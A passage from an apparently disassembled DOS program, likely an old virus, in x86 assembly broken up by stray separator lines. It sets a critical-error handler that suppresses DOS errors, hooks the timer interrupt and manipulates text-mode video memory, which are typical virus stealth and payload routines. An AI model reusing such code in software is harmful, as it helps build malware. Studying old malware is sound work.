;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
int_24h_entry proc far
|
|
mov dx,data_33
|
|
mov ax,data_32
|
|
mov ds,ax
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop ds
|
|
retn
|
|
int_24h_entry endp
|
|
|
|
db 0B0h, 3, 0CFh
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_16 proc near
|
|
mov dx,6B0h
|
|
mov ax,251Ch
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov byte ptr ds:data_8e,90h
|
|
nop
|
|
mov ax,0B800h
|
|
mov es,ax
|
|
data_36 db 0BFh
|
|
data_37 dw 0FA0h
|
|
db 0B8h, 20h, 7, 0B9h, 0Bh, 0
|
|
db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0
|
|
db 0, 0, 20h, 7, 0Fh
|
|
db 0Ah
|
|
data_38 db 0Fh
|
|
db 0Ah
|
|
data_39 db 0Fh
|
|
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
|
|
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h
|
|
db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h
|
|
db 51h, 52h, 53h, 55h, 56h, 57h
|
|
db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh
|
|
db 90h
|
|
loc_37:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop bp
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
iret ; Interrupt return
|
|
sub_16 endp
|
|
|
|
db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h
|
|
db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h
|
|
db 16h, 0, 0F2h, 0A4h, 80h, 3Eh
|
|
db 0AEh, 6, 0EEh, 74h, 8, 0C6h
|
|
db 6, 0AEh, 6, 0EEh, 0EBh, 6
|
|
db 90h
|
|
loc_38:
|
|
mov data_38,0F0h
|
|
loc_39:
|
|
mov ax,es:[di]
|
|
mov ah,0Eh
|
|
mov data_37,ax
|
|
mov data_36,0
|
|
jmp short loc_37 ; (06D0)
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_17 proc near
|
|
mov di,0
|
|
loc_40:
|
|
mov si,69Ch
|
|
push di
|
|
mov cx,12h
|
|
cld ; Clear direction
|
|
repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di]
|
|
pop di
|
|
jz loc_41 ; Jump if zero
|
|
inc di
|
|
inc di
|
|
cmp di,0FA0h
|
|
jne loc_40 ; Jump if not equal
|
|
mov di,0
|
|
loc_41:
|
|
cmp di,0F9Eh
|
|
jne loc_ret_42 ; Jump if not equal
|
|
mov data_39,0CFh
|
|
|
|
loc_ret_42:
|
|
retn
|
|
sub_17 endp
|
|
|
|
db 43h, 0Ch, 0Ah
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|